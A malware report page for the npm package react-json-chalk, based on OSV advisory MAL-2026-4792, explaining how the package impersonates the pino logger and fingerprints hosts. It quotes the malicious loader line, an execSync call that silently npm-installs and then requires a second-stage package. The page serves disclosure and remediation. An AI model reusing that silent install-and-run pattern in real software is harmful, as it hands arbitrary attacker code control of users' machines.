react-json-chalk
This report shows the evidence for react-json-chalk@13.4.6. 3 of 3 known versions are blocked or flagged. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-4792 confirms this npm version as malicious.
Advisory
MAL-2026-4792
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in react-json-chalk (npm)
Details
The package is published as `react-json-chalk` but its `main` entry (`pino.js`) impersonates the pino logger (homepage `https://getpino.io`, bundled pino source tree, misappropriated description). On `require('react-json-chalk')`, `pino.js` immediately loads `lib/writer.js`, which at module top level tries `require('react-pinojs')` and, if absent, executes `child_process.execSync("npm install react-pinojs --no-warnings --no-save --no-progress --loglevel silent")` and then `require('../../react-pinojs/pino.js')`. The flags suppress install output and avoid persisting the dependency in package.json, so consumers get no visible signal that a second package was fetched. The fetched dependency is unpinned, fully controlled by whoever publishes `react-pinojs`, and its code runs as part of the require() of this package — arbitrary attacker code on the installer's machine on every import. The same `lib/writer.js` defines `getMacAddress()` which enumerates non-internal IPv4 interface MAC addresses, consistent with host fingerprinting handed off to the second stage. The package name/contents mismatch (logger source tree under an unrelated name) is also a namespace-abuse / pino-impersonation pattern.
## Source: ghsa-malware (252715cc7923480c7866ec9ba22f17e136bbc2fc86342ef3175998919d365e9b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Source & flagged code
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Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to react-json-chalk@13.4.6.
The same advisory and Firewall decision cover 3 recorded versions
13.4.4, 13.4.6, 13.4.5
The versions list below shows the verdict for each recorded version.
- Avoid installing react-json-chalk@13.4.6. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
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